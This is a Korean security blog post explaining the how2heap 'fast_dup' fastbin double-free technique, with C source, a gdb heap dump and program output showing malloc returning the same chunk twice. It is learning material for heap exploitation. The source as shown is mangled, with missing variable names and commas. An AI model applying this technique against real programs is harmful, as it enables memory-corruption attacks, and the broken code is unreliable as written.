ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • fast_dup double free attack
    Hack/Pwnable 2016. 9. 13. 02:13




    #include <stdio.h>
    #include <stdlib.h>
     
    int main()
    {
        printf("This file demonstrates a simple double-free attack with fastbins.\n");
     
        printf("Allocating 3 buffers.\n");
        int *= malloc(8);
        int *= malloc(8);
        int *= malloc(8);
     
        printf("1st malloc(8): %p\n", a);
        printf("2nd malloc(8): %p\n", b);
        printf("3rd malloc(8): %p\n", c);
     
        printf("Freeing the first one...\n");
        free(a);
     
        printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
        // free(a);
     
        printf("So, instead, we'll free %p.\n", b);
        free(b);
     
        printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
        free(a);
     
        printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
        printf("1st malloc(8): %p\n"malloc(8));
        printf("2nd malloc(8): %p\n"malloc(8));
        printf("3rd malloc(8): %p\n"malloc(8));
    }
    cs



    a, b, c 포인터에 malloc으로 8바이트를 할당해준다.


        printf("Freeing the first one...\n");
        free(a);

    처음으로 free(a)를 통해 malloc된곳을 free해 데이터를 삭제해준다.

    여기까지는 별 문제없다. 마지막을 보면
       printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
       free(a);

    해당 a를 free 해줬지만 또 free를 해준다.

    아래는 힙의 상황이다.

    (gdb) x/1000x 0x602010

    0x602010: 0x00602020 0x00000000 0x00000000 0x00000000

    0x602020: 0x00000000 0x00000000 0x00000021 0x00000000

    0x602030: 0x00602000 0x00000000 0x00000000 0x00000000

    0x602040: 0x00000000 0x00000000 0x00000021 0x00000000

    0x602050: 0x00000000 0x00000000 0x00000000 0x00000000

    0x602060: 0x00000000 0x00000000 0x00020fa1 0x00000000


    b가 free될때는 0x602000을 가리켰다. 하지만 a를 한번더 free해줬을때, a의 위치에 0x602020이란 값이 쓰여졌다.


    free(b)를 할때 free(a);로 해줬다면 free list의 맨위여서 double free 에러가 발생했을것이다.


    free(b)를 해준다면 free list의 맨위가 a가 아니기때문에 한번더 free(a);를 해줄수있다.


    이 상황에서 malloc을 또해준다면 한영역에 두번할당 받을 수 있다.


    root@ubuntu:/home/study/how2heap# ./fast_dup 

    This file demonstrates a simple double-free attack with fastbins.

    Allocating 3 buffers.

    1st malloc(8): 0x907c008

    2nd malloc(8): 0x907c018

    3rd malloc(8): 0x907c028

    Freeing the first one...

    If we free 0x907c008 again, things will crash because 0x907c008 is at the top of the free list.

    So, instead, we'll free 0x907c018.

    Now, we can free 0x907c008 again, since it's not the head of the free list.

    Now the free list has [ 0x907c008, 0x907c018, 0x907c008 ]. If we malloc 3 times, we'll get 0x907c008 twice!

    1st malloc(8): 0x907c008

    2nd malloc(8): 0x907c018

    3rd malloc(8): 0x907c008





    'Hack > Pwnable' 카테고리의 다른 글

    Heap with GDB!  (5) 2016.09.15
    first_fit use after free  (0) 2016.09.13
    Layer CTF easy_bof  (2) 2016.09.05
    포맷스트링(Format String Bug) GOT Overwrite  (0) 2016.08.17
    Off-by-one  (0) 2016.08.11

    댓글

Designed by Tistory.